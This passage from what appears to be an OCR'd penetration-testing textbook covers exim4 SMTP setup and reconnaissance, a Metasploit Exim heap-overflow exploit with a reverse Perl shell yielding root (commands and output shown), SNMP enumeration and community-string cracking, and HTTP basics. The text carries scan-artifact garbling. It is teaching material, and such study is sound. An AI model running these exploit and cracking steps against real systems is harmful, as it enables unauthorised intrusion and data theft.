	172.16.16.225	172.16.16.221	SMTP	97 C: MAIL FROM: <sanders@skynet.local> SIZE=556</sanders@skynet.local>
	172.16.16.221	172.16.16.225	SHTP	68 5: 250 2.1.0 0k
	172.16.16.225	172.16.16.221	SMTP	89 C: RCPT TO: <sanders@cyberdyne.local></sanders@cyberdyne.local>
11 0.063101	172.16.16.221	172.16.16.225	SMTP	68 5: 250 2.1.5 0k
	3 00 0c 29 a4 4f b 0 80 06 6c 34 ac 1		a).0	
10 dd c0 al 00 1	9 71 46 83 74 68 6	88 88 88 82	····F · }	
	0 02 04 05 64 01 0	d3 03 08 01 01 ···		
04 02				

Note that in packets 1-3, an outside client is completing a TCP three-way handshake. In packet 4, the SMTP server identifies itself as "mail01" and a Postfix server on Ubuntu and begins using the SMTP protocol for communication. In packet 5, the client issues the EHLO command initiating communication. In packet 8, the client identifies the email sender, and in packet 10, the email receiver.

Building an SMTP (EXIM4) Server in Linux

Let's now set up an SMTP server in our Kali Linux. In this case, we'll install exim4, the most widely used email server on Linux systems.

We can download exim4 from the Kali repository.

kali > sudo apt install exim4



Next, we need to execute a configuration wizard that walks us through the configuration of the exim4 server.

kali > sudo dpkg-reconfigure exim4-config



This starts a configuration wizard that queries us for information to configure the email server.

The first question is about the type of mail server. If you want to set up your server to send and receive email across the Internet, select the first choice.

Package configuration	
Mail Server configuration Please select the mail server configuration type that best meets your needs Systems with dynamic IP addresses, including dialup systems, should general'another machine, called a 'smarthost' for delivery because many receiving strondynamic IP addresses as spam protection. A system with a dynamic IP address can receive its own mail, or local deliver for root and postmaster). General type of mail configuration: internet site; mail is sent and received direct mail sent by smarthost; received via SMTP or femail sent by smarthost; no local mail local delivery only; not on a network no configuration at this time SEVENWORK	ly be configured to send outgoing mail to ystems on the Internet block incoming mail ery can be disabled entirely (except mail ly using SMTP
<0k>	<cancel></cancel>

Next, you need to provide a domain name that you own. In my case, I used www.hackers-arise.com.

The 'mail name' is the domain name used to 'qualify' mail address This name will also be used by other programs. It should be the Thus, if a mail address on the local host is foo@example.org, the This name won't appear on From: lines of outgoing messages if rev	ses without a domain name. single, fully qualified domain name (FQDN). e correct value for this option would be example.org.			
System mail name:				
hackers-arise.com				
<0k>	<cancel></cancel>			

Next, we need to provide the IP address for the server to listen.

Please enter a semicolon-separated list of IP addresses. The Exim SMTP listener daemon will listen on all IP addresses listed here. An empty value will cause Exim to listen for connections on all available network interfaces.			
addresses listed here.			
IP-addresses to listen on for incoming SMTP connections:			
<cancel></cancel>			

Here, we need to provide a list of recipient domains or local domains. The default is Kali, and I left that in place.

Package configuration				
Mail Server configuration Please enter a semicolon-separated list of recipient domains for which this machine should consider itself the destination. These domains are commonly called 'local domains'. The local hostname (kali) and 'localhost' are a added to the list given here.				
By default all local domains will be treated identically. If both a.example and b.example are local domains, acc@a.example and acc@b.example will be delivered to the same final destination. If different domain names should be treated differently, it is necessary to edit the config files afterwards.				
Other destinations for which mail is accepted:				
@AnonGhostNetwork				
<ok> <cancel></cancel></ok>				

Next, we need to provide a list of recipient domains that this system will relay mail to. It is OK to leave it blank.

Please enter a semicolon-separated list of recipient dom	
<0k>	<cancel></cancel>

Next, we need to select the delivery method for local mail. We can choose between the mbox format of /var/mail or the home directory.

and Maildir. gle message				
Delivery method for local mail: mbox format in /var/mail/ Maildir format in home directory				

Next, we are queried regarding the DNS queries. If we want to minimize the DNS lookups, select YES.

Package configuration				
Mail Server configuration				
Mail Server configuration				
In normal mode of operation Exim does DNS lookups at startup, and when receiving or delivering messages. This is for logging purposes and allows keeping down the number of hard-coded values in the configuration.				
If this system does not have a DNS full service resolver available at all times (for example if its Internet access is a dial-up line using dial-on-demand), this might have unwanted consequences. For example, starting up Exim or running the queue (even with no messages waiting) might trigger a costly dial-up-event.				
This option should be selected if this system is using Dial-on-Demand. If it has always-on Internet access, this option should be disabled.				
Keep number of DNS-queries minimal (Dial-on-Demand)?				
(Yes> @AnonGhostNetwork				

Next, select the domains to relay mail for. You can leave it blank.

Pa	Mail Server configuration Please enter a semicolon-separated list of recipient domains for which this system will relay mail, for example as a fallback MX or mail gateway. This means that this system will accept mail for these domains from anywhere on the Internet and deliver them according to local delivery rules. Do not mention local domains here. Wildcards may be used. Domains to relay mail for:
	<ok> <cancel></cancel></ok>

Finally, we need to select whether to split the configuration file for the exim4. Unsplit is more stable, while split makes it easier to make changes. I selected unsplit or NO.

Package configuration
Mail Server configuration
The Debian exim4 packages can either use 'unsplit configuration', a single monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', where the actual Exim configuration files are built from about 50 smaller files in /etc/exim4/conf.d/.
Unsplit configuration is better suited for large modifications and is generally more stable, whereas split configuration offers a comfortable way to make smaller modifications but is more fragile and might break if modified carelessly.
A more detailed discussion of split and unsplit configuration can be found in the Debian-specific README files in /usr/share/doc/exim4-base.
Split configuration into small files?
<yes> KNOP</yes>

Now, we only need to start our exim4 server, and our email server is activated and ready to send and receive email!

┌──(kali⊛kal	i)-[~]	
L_\$ <u>sudo</u> serv	ice exim4	start

@AnonGhostNetwork

Vulnerabilities in SMTP

2021 was marked by a major vulnerability found in <u>Microsoft Exchange Server</u>, <u>presumably by</u> <u>Chinese hackers</u>. These vulnerabilities enabled these hackers to access many large corporations and institutions' email records. The impact of this hack was so large and serious that the FBI was given authorization to patch Exchange Server systems throughout the US.

You can see the vulnerabilities below.

21 CVE-2021-31198	22	Exec Code	2021-05-11	2022-04-29	6.8	None	Remote	Medium	Not required	Partial	Partial	Partial
Microsoft Exchange Serv	er Remote Cod	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-31195.						
22 CVE-2021-31196		Exec Code	2021-07-14	2021-07-17	6.5	None	Remote	Low	777	Partial	Partial	Partial
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-31206,	CVE-2021-3	4473.				
23 CVE-2021-31195		Exec Code	2021-05-11	2021-05-17	6.8	None	Remote	Medium	Not required	Partial	Partial	Partial
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-31198.						
24 CVE-2021-28483		Exec Code	2021-04-13	2021-04-14	7.7	None	Local Network	Low	222	Complete	Complete	Complete
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-28480, 0	CVE-2021-2	8481, CVE-2	021-28482.			
25 CVE-2021-28482		Exec Code	2021-04-13	2021-04-14	9.0	None	Remote	Low	???	Complete	Complete	Complete
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-28480.	CVE-2021-2	8481, CVE-2	021-28483.			
26 CVE-2021-28481		Exec Code	2021-04-13	2021-04-14	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-28480, (CVE-2021-2	8482, CVE-2	021-28483.			
27 CVE-2021-28480		Exec Code	2021-04-13	2021-04-14	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Serv	er Remote Coo	de Execution Vulner	ability This CVE I	D is unique from	CVE-202	21-28481, (CVE-2021-2	8482, CVE-2	021-28483.			
28 CVE-2021-27078		Exec Code	2021-03-03	2021-03-08	6.5	None	Remote	Low	777	Partial	Partial	Partial
Microsoft Exchange Serv CVE-2021-26858, CVE			ability This CVE I	D is unique from	CVE-20	21-26412.0	CVE-2021-2	6854, CVE-2	021-26855, CVI	E-2021-268	57,	

In addition, in 2020, exim email servers had two severe vulnerabilities that allowed unauthorized access to email stored on these servers.



Reconnaissance and Hacking SMTP

Before attempting any exploit, the first step is to do proper reconnaissance. nmap is the tool of choice for port scanning. Let's scan our SMTP service to see what ports and services are running.

We can do a TCP scan on port 25 (the default SMTP port) with nmap and include the -A switch to attempt to determine the service running on that port, such as;

kali > nmap -sT -A 192.168.56.103 -p25

kali@kali:~\$ nmap -sT -A 192.168.56.103 -p25 Starting Nmap 7.80 (https://nmap.org) at 2020-12-29 11:30 EST mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disa bled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for 192.168.56.103 Host is up (0.00043s latency). PORT STATE SERVICE VERSION 25/tcp open smtp Exim smtpd 4.68 | smtp-commands: localhost Hello nmap.scanme.org [192.168.56.101], SIZE 524 28800, EXPN, PIPELINING, HELP, _ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP EX PN VRFY Service Info: Host: localhost Service detection performed. Please report any incorrect results at https:/ /nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds

As you can see above, nmap found port 25 open and running exim 4.68.

To determine any potential vulnerabilities on that SMTP server, we might use nmap scripts. To run all the nmap scripts for SMTP, we can use the **--script=smtp-*** option where the wildcard (*) means to run all the scripts in the smtp category.

nmap --script=smtp-* 192.168.56.103 -p 25 @AnonGhostNetwork

```
kali@kali:~$ nmap --script=smtp-* 192.168.56.103 -p 25
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-29 11:55 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disa
bled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00037s latency).
      STATE SERVICE
PORT
25/tcp open smtp
smtp-commands: localhost Hello nmap.scanme.org [192.168.56.101], SIZE 524
28800, EXPN, PIPELINING, HELP,
 Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP EX
PN VRFY
 smtp-enum-users:
   admin
   administrator
   webadmin
    sysadmin
   netadmin
   guest
   user
   web
   test
_smtp-open-relay: SMTP RSET: failed to receive data: failed to receive dat
а
 smtp-vuln-cve2010-4344:
   Exim version: 4.68
    Exim heap overflow vulnerability (CVE-2010-4344):
      Exim (CVE-2010-4344): LIKELY VULNERABLE
    Exim privileges escalation vulnerability (CVE-2010-4345):
      Exim (CVE-2010-4345): LIKELY VULNERABLE
```

As you can see above, the smtp nmap scripts were able to enumerate multiple users (these users can then be targeted with social engineering attacks) and find that the server is vulnerable to the cve-2010-4344 and CVE-2010-4345 exploits.



Next, let's see whether we can find these exploits in Metasploit. Fire up Metasploit by entering;

kali > msfconsole

Now, let's search for Exam exploits by using the search function.

msf5 > search type: exploits exim

<u>msf5</u> > search type:exploit exim	
Matching Modules	
# Name	Disclosure Date
Rank Check Description	
0 exploit/linux/local/exim4_deliver_message_priv_esc	2019-06-05
excellent Yes Exim 4.87 - 4.91 Local Privilege Escalat	
excellent No Exim and Dovecot Insecure Configuration	
2 exploit/linux/smtp/exim_gethostbyname_bof great Yes Exim GHOST (glibc gethostbyname) Buffer	
3 exploit/unix/local/exim_perl_startup	
excellent Yes Exim "perl_startup" Privilege Escalation	
4 exploit/unix/smtp/exim4_string_format	
excellent No Exim4 string_format Function Heap Buffer 5 exploit/unix/webapp/wp_phpmailer_host_header	
average Yes WordPress PHPMailer Host Header Command	
@AnonGhostNetwork	
Interact with a module by name or index, for example use 5 nix/webapp/wp_phpmailer_host_header	5 or use exploit/u

As you can see in the screenshot above, Metasploit has multiple Exim exploits. Let's try the **exploit/unix/smtp/exim4_string_format** exploit.

First, let's load the exploit using the use command.

msf5> use exploit/unix/smtp/exim4_string_format

<pre>msf5 > use exploit/unix/smtp/exim4_string_format</pre>
<pre>msf5 exploit(unix/smtp/exim4_string_format) > set RHOSTS 192.168.56.103</pre>
RHOSTS ⇒ 192.168.56.103
<pre>msf5 exploit(unix/smtp/exim4_string_format) > set PAYLOAD cmd/unix/reverse_</pre>
perl
PAYLOAD ⇒ cmd/unix/reverse_perl
<pre>msf5 exploit(unix/smtp/exim4_string_format) > set LHOST 192.168.56.101</pre>
LHOST ⇒ 192.168.56.101
<pre>msf5 exploit(unix/smtp/exim4_string_format) > set LPORT 443</pre>
LPORT \Rightarrow 443

Before we progress further, let's learn more about this exploit by entering "info."

kali > info

Basic option			
Name	Current Setting	Required	Description
EHLO_NAME MAILFROM MAILTO RHOSTS th>'	rootālocalhost postmasterālocalhost 192.168.56.103	no yes yes yes	The name to send in the EHLO FROM address of the e-mail TO address of the e-mail The target host(s), range CIDR identifier, or hosts file with syntax 'file: <pa< td=""></pa<>
RPORT	25	ves	The target port (TCP)
prior to v attacker co privileges made to en format spe trigger th that is to headers (w the buffer it overwri second mes 'expand_st likely tha techniques perhaps ev techniques complicate reported i security i the issue	2 te exploits a heap buff rersion 4.69. By sendin an corrupt the heap an cof the Exim daemon. T isure that the buffer i cifiers within the 'st tis issue, we get our m withich is a default conf t, a long header string tes the ACL for the 'M sage, the string we se ring' and arbitrary sh th this issue could als s such as targeting in- ren function pointers s would likely be far m d, and less reliable. in December 2008, but w issue. Therefore, there was fixed and when it	g a specia d execute he root ca s not full ring_vform essage rej iguration is sent. AIL FROM' nt will be ell comman o be explo band heap tored in t ore platfor This bug w as not pro was a 2 y was discov	evaluated with ds can be executed. It is ited using other management structures, or he heap. However, these rm specific, more as original found and perly handled as a ear lag time between when ered being exploited in
being addr CVE-2010-4 of danger privileges	345, was also used in of this bug. This bug from the Exim user ac	ndors. An the attack allows a l count. If	Igned a CVE and Degan additional vulnerability, that led to the discovery ocal user to gain root the Perl interpreter is ll automatically exploit

As you can see above, this module exploits a heap buffer overflow. In addition, if it detects a Perl interpreter, it will automatically escalate privileges from a regular user to root.

Then, let's set the RHOSTS parameter with the target system's IP address. With the RHOSTS now set, we next set the PAYLOAD. In this case, let's use **cmd/unix/reverse_perl**. This payload will open a command shell on the target machine using Perl (most Unix-like systems have Perl installed by default) that will call back to our attack system if successful.

Lastly, we need only to set the LHOST and the LPORT. Let's set the LPORT 443 so that it uses a commonly open port for HTTPS traffic. Often, by using this port, this exfiltration will go unnoticed.

The only step left is to run **"exploit"**

msf5> exploit

msf5 exploit(unix/smtp/exim/ ring format) > exploit [*] Started reverse TCP handler on 192.168.56.101:443 [*] 192.168.56.103:25 - Connecting to 192.168.56.103:25 ... [*] 192.168.56.103:25 - Server: 220 localhost ESMTP Exim 4.68 Tue, 29 Dec 2 020 17:10:04 +0000 [*] 192.168.56.103:25 - EHLO: 250-localhost Hello sHnwCZeT.com [192.168.56. 101] [*] 192.168.56.103:25 - EHLO: 250-SIZE 52428800 [*] 192.168.56.103:25 - EHLO: 250-EXPN [*] 192.168.56.103:25 - EHLO: 250-PIPELINING [*] 192.168.56.103:25 - EHLO: 250 HELP [*] 192.168.56.103:25 - Determined our hostname is sHnwCZeT.com and IP addr ess is 192.168.56.101 [*] 192.168.56.103:25 - MAIL: 250 OK [*] 192.168.56.103:25 - RCPT: 250 Accepted [*] 192.168.56.103:25 - DATA: 354 Enter message, ending with "." on a line by itself [*] 192.168.56.103:25 - Constructing initial headers ... [*] 192.168.56.103:25 - Constructing HeaderX ... [*] 192.168.56.103:25 - Constructing body ... [*] 192.168.56.103:25 - Sending 50 megabytes of data... [*] 192.168.56.103:25 - Ending first message. [*] 192.168.56.103:25 - Result: "552 Message size exceeds maximum permitted \r\n" [*] 192.168.56.103:25 - Sending second message ... [*] 192.168.56.103:25 - MAIL result: "/bin/sh: 0: can't access tty; job con trol turned off" [*] 192.168.56.103:25 - RCPT result: "\n\$ " [*] 192.168.56.103:25 - Looking for Perl to facilitate escalation... [*] 192.168.56.103:25 - Perl binary detected, attempt to escalate... [*] 192.168.56.103:25 - Using Perl interpreter at /usr/bin/perl... [*] 192.168.56.103:25 - Creating temporary files /var/tmp/iJighTAY and /var /tmp/vmpvMcdt... [*] 192.168.56.103:25 - Attempting to execute payload as root... [*] Command shell session 1 opened (192.168.56.101:443 → 192.168.56.103:33)

As you can see above, the exploit worked and gave us a command shell in session 1!

Unlike when we exploit a Windows system, when we grab a command shell on Linux systems we do NOT get a command prompt but rather an empty line. To test whether we are actually on the Linux SMTP server, we can enter Linux commands and check for the response. In this case, let's run a few common Linux commands such as id, whoami, pwd, uname -a.

```
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
pwd
/var/spool/exim4
uname -a
Linux mailserver01 3.16.0-4-586 #1 Debian 3.16.43-2 (2017-04-30) i686 GNU/L
inux
```

As you can see above, the system responding by informing us that user is uid=0 or root, the present working directory (pwd) is /var/spool/exim4, and the uname is Linux mailserver01.

Summary

Email service or Simple Mail Transport Protocol (SMTP) is one of the most critical services in our digital age. It is also one of the most highly targeted services as it contains confidential and key information. It is critical that this service be properly configured to prevent unauthorized access to this crucial data source.

Exercises

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- 1. Build an SMTP server for your domain
- 2. Conduct reconnaissance on your new SMTP server

Chapter 11

Simple Network Management Protocol (SNMP)

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The Simple Network Management Protocol or SNMP is among the least understood protocols, yet so vitally important to the successful operation of your network. If an attacker can breach the SNMP, they may be able to unmask your encrypted VPN communication (see NSA's ExtraBacon exploit here) as well as see and possibly control every device connected to your network.

As you know, the Simple Network Management Protocol uses UDP ports 161 and 162 to manage network devices. Network devices use this protocol to communicate with each other and can be used by administrators to manage the devices. As hackers, if we can access the SNMP protocol, we can harvest a vast resource of information on the target's network and even disable and change the settings on these devices. Imagine the havoc one could wreak by changing the settings on routers and switches!

Background on SNMP

The Simple Network Management Protocol (SNMP) is part of the Internet Protocol Suite that is designed to manage computers and network devices. Cisco describes it as "an application layer protocol that facilitates the exchange of information between network devices." Succinct and correct, but it misses the management function that SNMP also provides.

SNMP is a stateless, datagram-oriented protocol. It involves one or more administrative computers called managers. These managers monitor and manage a group of computers. Each of the managed computers has an agent installed that communicates with the manager. Please see the diagram below for a schematic of how SNMP operates.



The agent on the managed computers provides management data to the managing computer. The manager can undertake management tasks, including modifying and applying new configurations.

The management data exposed by the agents on each of the managed machines are stored in a hierarchical database called the **Management Information Base or MIB**. It is this information within the MIB that we will be seeking here. This MIB contains a vast array of information on every device on the network, including users, software installed, operating systems, open ports, etc. All of this information can be invaluable in developing an exploitation strategy on the target.

The SNMP protocol communicates on UDP port 161. The communication takes place with protocol data units or PDU's. These PDU's are of seven (7) types.

- GetRequest
- SetRequest
- GetNextRequest
- GetBulkRequest
- Response
- Trap
- InformRequest

SNMP Versions

SNMP has three (3) versions. Version 1, or SNMPv1, has very poor security. The authentication of clients is in cleartext and, by default, uses a "community string" that is set to "**public**." This community string operates like a password, and it is valid for each and every node on the network. The authentication of the manager is also a community string set to "**private**" by default. With these community strings, the attacker can gather all the information from the MIB (with the public community string) and even set the configuration on the devices (with the private community string). Although it is widely known and understood that SNMPv1 is insecure, it remains in wide use (I recently did a security assessment at a major NYC bank, and they were still using SNMPv1). Even if the network administrator changes the community string from the defaults, because communication is in cleartext, an attacker can sniff the authentication strings off the wire.

SNMPv2 improved upon SNMPv1 in terms of performance and security, but because it was not backwardly compatible with SNMPv1, it was not widely adopted. SNMPv3 is significantly more secure than either SNMPv1 or v2. SNMPv3 adds encryption, message integrity, and authentication but is still not used on all networks.

Wireshark Analysis of SNMPv1

Below we can see a Wireshark capture of SNMPv1 communication over a LAN.

snip					🖾 🗔 *) Dipression
Time	Source	Destination	Protocol	Length Shife	
1 0.000000	192.168.0.2	192.168.0.1	SMP	82 get-request 1.3.6.1.2.1.1.5.0	
2 0.001723	192.168.0.1	192.168.0.2	SMP	94 get-response 1.3.6.1.2.1.1.5.0	
3 0.018020	192.168.0.2	192.168.0.1	SMP	82 get-next-request 1.3.6.1.2.1.1.5.0	
4 0.019588	192.168.0.1	192.168.0.2	SMPP	94 get-response 1.3.6.1.2.1.1.6.0	
5 0.038019	192.168.0.2	192.168.0.1	SMP	92 set-request 1.3.6.1.2.1.1.5.0	
6 0.072046	192.168.0.2	192.168.0.1	SMP	84 netarx(1040) + snmp(161) Len=42	
7 0.110014	192.168.0.2	192.168.0.1	SMP	86 netarx(1040) + snmp(161) Len=44	
8 0.158007	192.168.0.2	192.168.0.1	SMP	90 get-request 1.3.6.1.2.1.1.5.0	
9 0.190002	192.168.0.2	192.168.0.1	SMP	98 get-request 1.3.6.1.2.1.1.5.0	
10 0.238000	192.168.0.2	192.168.0.1	SMP	114 get-request 1.3.6.1.2.1.1.5.0	
11 0.288204	192.168.0.2	192.168.0.1	SMIP	146 get-request 1.3.6.1.2.1.1.5.0	
12 0.328204	192.168.0.2	192.168.0.1	SNPP	212 get-request 1.3.6.1.2.1.1.5.0	
13 0.368284	192.168.0.2	192.168.0.1	SNPP	342 get-request 1.3.6.1.2.1.1.5.0	
14 0.488197	192.168.0.2	192.168.0.1	SMP	598 get-request 1.3.6.1.2.1.1.5.0	
15 0.448256	192.168.0.2	192.168.0.1	SMP	1110 get-request 1.3.6.1.2.1.1.5.0	
21 0.698430	192.168.0.2	192.168.0.1	SMP	83 netarx(1040) = snmp(161) Len=41	
22 0.737946	192.168.0.2	192.168.0.1	SMP	85 netarx(1040) + snmp(161) Len=43	
22 0.737946 Frame 1: 82 bytes Ethernet II, Src: Internet Protocol	192.168.0.2 on wire (656 bits), 82 b loom_lbi071fa (001201af) Version 4, 5rc: 192.168. tocol, 5rc Port: netarx (nagement Protocol on-1 (0) IEC	192.168.0.1			

Note the Get-Request, Get-Response, and Get-Next-Request in the upper windows and the community string in the lower window.

Abusing SNMP for Information Gathering

Now that we have a bit of background on the SNMP protocol let's use or abuse it to gather information on our target. Open Kali and go to **Applications --> Kali Linux -->Information Gathering --> SNMP Analysis -->snmpcheck,** as in the screenshot below.



When you do so, you will be greeted by the **snmpcheck** help screen like below.



Snmpcheck is a Perl script that queries the SNMP MIB for information on the target IP. Its syntax is fairly simple;

kali > snmpcheck -t <target IP>

Of course, some options are available such as the community string (it uses "public" by default) and the SNMP version (it uses one by default, or 2 is the other option. Note it will not work on the more secure SNMP v3) and a few others. We will be using it here against a 2003 Server on our network to see what information SNMP can provide us about the target.

As you can see in the screenshot below, we ran snmpcheck, and it began to gather information from the MIB about the target and display it on our screen. Initially, it gives information about the hardware and then the operating system and uptime (uptime can be very useful information to determine whether a system has been patched).

File Edit View Search Terminal Help
<pre>root@kali:~# snmpcheck -t 192.168.1.102 snmpcheck v1.8 - SNMP enumerator Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)</pre>
[*] Try to connect to 192.168.1.102 [*] Connected to 192.168.1.102 [*] Starting enumeration at 2015-03-07 09:27:38
[*] System information
Hostname: ADMsnmpDescription: Hardware: x86 Family 6 Model 5 Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Uniprocessor Free)Uptime system: 9 days, 00:22:35.31Uptime SNMP daemon: 100 days, 23:33:36.91Motd: -Domain (NT):
[*] Devices information

Next, it displays device information.

File Edit Vi	ew Search Termina	@Anon(GhostNetwork
	s information		
Id	Туре	Status	Description
1	Printer	Running	TP Output Gateway
10	Parallel Port	Unknown	LPT1:
11	Serial Port	Unknown	COM1:
12	Serial Port	Unknown	COM2:
2	Processor	Running	Intel
3	Network	Unknown	MS TCP Loopback interface
4	Network	Unknown	VMware Accelerated AMD PCNet Adapter
5	Disk Storage	Unknown	A:\
6	Disk Storage	Unknown	D:\
7	Disk Storage	Running	Fixed Disk
8	Keyboard	Running	IBM enhanced (101- or 102-key) keyboard, S
ubtype=(0)			
9	Pointing	Running	3-Buttons (with wheel)
[*] Storage	e information		
			as to the second second as a second

Next, storage information.



Then, user accounts (this can be useful later when trying to crack user passwords. It eliminates the need to guess user account names).



Finally, the software installed on the system. This can be particularly useful when we begin to develop an exploitation strategy, as exploits are specific to applications and their version.



Cracking SNMP community strings

As you saw in the previous exercise, SNMP can provide us with a significant amount of information about our target if we can access it. In the previous section, we assumed that the admin had left the community string set to "public." What if the admin was a bit more cautious and security-minded and had changed the community string? How can we find the community string?

There is an excellent tool built into Kali named **onesixtyone** (presumably named after the default port that SNMP operates on). In essence, it is a SNMP community string cracker. Like most "password" crackers, it relies upon a dictionary or wordlist to try against the service until it finds a match.

Let's open onesixtyone by going to Applications --> Kali Linux --> Information Gathering -->SNMP Analysis -->onesixtyone. It should open a help screen like below.



The syntax of onesixtyone is pretty simple and straightforward.

kali > onesixtyone [options] < host IP> < community string private or public>

Like a dictionary-based password cracker, the dictionary you use with onesixtyone is critical. In the case of onesixtyone, it has a built-in dictionary. It's small but contains many of the commonly used strings with SNMP. If you are creating your own dictionary for SNMP cracking, this is a good starting point, but you may want to expand it with variations of the domain name or company name as network administrators don't usually put much effort into creating complex strings for SNMP. For instance, if the company is Microsoft, you might try strings that a lazy admin might use, such as microsoft-public, microsoft-private, microsoft-snmp, microsoft-network, etc.

Let's take a look at the dictionary file by typing;

kali > cat /usr/share/doc/onesixtone/dict.txt

File Edit View Search Terminal Help	
<pre>root@kali:~# cat /usr/share/doc/onesixtyone/dict.</pre>	txt
1234	
2read	
4changes	
CISCO	
IBM	
OrigEquipMfr SNMP	
SUN	
access	
admin	
agent	
all	
cisco	
community	
default	
enable	
field	
guest	
hello	
ibm	
manager	
mngt	
monitor	
netman	A. Z. Con
network	-2255
none	13.3

As you can see, it includes a short list of widely used SMNP community strings.

In this exercise, we will use this short and simple dictionary to see whether we can find that community string on our network and then use it in snmpcheck to gather all the info on the target.

In our case, we will be using it on the same system as before, so our command will be;

kali > onesixtyone 192.168.1.102 -c /usr/share/doc/onesixtyone/dict.txt

File Edit View Search Terminal Help
root@kali:~# onesixtyone 192.168.1.102 -c /usr/share/doc/onesixtyone/dict.txt
Scanning 1 hosts, 49 communities
192.168.1.102 [private] Hardware: x86 Family 6 Model 5 Stepping 2 AT/AT COMPATIB
LE - Software: Windows Version 5.2 (Build 3790 Uniprocessor Free)
192.168.1.102 [public] Hardware: x86 Family 6 Model 5 Stepping 2 AT/AT COMPATIBL
E - Software: Windows Version 5.2 (Build 3790 Uniprocessor Free)
root@kali:~#

As you can see in the screenshot above, it was able to find both the private community string (still set to the default "private") and the public community string (still set to the default as "public"). These community strings can then be used with snmpcheck to grab information from the MIB about the target system.

NSA Exploits SNMP to Unmask VPN Communications

We know that the NSA has exploited SNMP to unmask VPN communications from documents released by Edward Snowden. For a tutorial on this <u>NSA ExtraBacon exploit</u>, <u>click here</u>. Although this vulnerability has been patched by Cisco, it is likely that the NSA still has another exploit of SNMP to view encrypted communication.

Summary

SNMP can be a rich source of information on the target network if we can access it. snmpcheck will pull the information from the MIB, and onesixtyone helps us crack the SNMP "passwords." Both can be critical in exploiting SNMP for reconnaissance.

Chapter 12

AnonGhostNetwork



Before embarking upon any study of web application hacking, you need to be familiar with the technologies used by web apps. To hack web applications, we need at least a cursory understanding of the multitude of technologies being implemented into modern web applications. To that end, I will try to provide you with the basics of the key web technologies that may be exploited in taking control of a web application.

HTTP Protocol

The HyperText Transfer Protocol, or HTTP, is the granddaddy of web technologies. It is the core communication protocol of the web, and all web applications use it. It's a simple protocol originally designed to retrieve static web pages. Over the years, it has been updated and extended to offer support to complex applications that are common today.

HTTP uses a message-based model where the client sends a request, and the server responds with a response. It is connection-less but uses TCP as its transport mechanism.

HTTP Requests

All HTTP messages contain the same basic elements;

- 1. One or more headers
- 2. Then a blank line
- 3. An optional Message Body



The first line of the HTTP requests has three elements, separated by spaces

1. A verb (action word) indicating the HTTP method (see methods below). Among these, the most common is GET. The GET method retrieves a resource from the web server

2. The requested URL

3. The HTTP version used

HTTP Responses

The typical HTTP response consists of three items;

- 1. The HTTP version
- 2. The numeric status code (see status codes below).
- 3. The text describing the status response.



HTTP Methods

When we attack web applications, we are most commonly making a request to the web server. This means that our methods will likely be either a POST or GET. There are subtle differences between these two requests.

The GET method is built to retrieve resources.

The **POST** method is built to perform actions.

Other Methods

HEAD functions similarly to a GET request, but no message body is returned

TRACE is used for diagnostic purposes

OPTIONS asks the server to report HTTP methods are available

PUT attempts to upload a resource to the server, which is contained in the body

URL's

The uniform resource locator (URL) is a unique ID for every web resource for which a resource can be retrieved. This is the all-familiar URL that we use every day to access information on the web.

The basic syntax of the URL is:

protocol://hostname[:port]/ [/path/] file [?param=value]

The port number is optional and only necessary if the port is different from the default port used by the protocol specified in the first field (http=80, https=443, ftp=21, etc.).

HTTP Headers

There are numerous types of HEADERS in HTTP. Some can be used for both requests and responses, and others are specific to the message types.

These are some of the common header types;

General Headers

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- * Connection tells the other end whether the connection should closed after HTTP transmission
- * Content-Encoding specifies the type of encoding
- * Content-Length specifies the content length
- * Content-Type specifies the content type
- * Transfer-Encoding specifies the encoding on the message body

Request Headers

- * Accept specifies to the server what type of content it will accept
- * Accept-Encoding specifies to the server what type of message encoding it will accept
- * Authorization submits credentials
- * Cookie submits cookies to the server
- * Host specifies the host name

* If-Modified-Since - specifies WHEN the browser last received the resource. If not modified, the server instructs the client to use the cached copy

- * If-None-Match specifies entity tag
- * Origin specifies the domain where the request originated
- * Referrer specifies the URL of the requestor
- * User-Agent specifies the browser that generated the request

Response Headers

* Access-Control-Allow-Origin - specifies whether the resource can be retrieved via cross-domain

- * Cache-Control passes caching directive to the browse
- * Etag specifies an entity tag (notifies the server of the version in the cache)
- * Expires specifies how long the contents of the message body are valid
- * Location used in redirect responses (3xx) AnonGhostNetwork
- * Pragma passes caching directives to the browser
- * Server specifies the web server software
- * Set-Cookie issues cookies
- * WWW-Authenticate provides details of the type of authentication supported
- * X-Frame-Options whether and how the response may be loaded within the browser frame

Cookies

Cookies are a critical part of HTTP. Cookies enable the server to send items of data to the client, and the client stores this data and resubmits it to the server the next time a request is made to the server.

The server issues a cookie to the client using the SET-COOKIE response header.

SetCookie: Tracking=wdr66gyU34pli89

When the user makes a subsequent request to the server, the cookie is added to the header.



Cookies are used to identify the user of the server and other key information about the server. These cookies are usually a name/value pair and do not contain a space.

Status Codes

Every HTTP response must contain a status code indicating the result of the request. There are five groups of status codes based on the first digit of the code

- * 1xx Informational
- * 2xx Success
- * 3xx Redirect
- *** 4xx -** Error
- * 5xx The server encountered an error

The status codes you are most likely to encounter are;

- * 100 Continue
- * **200 -** OK
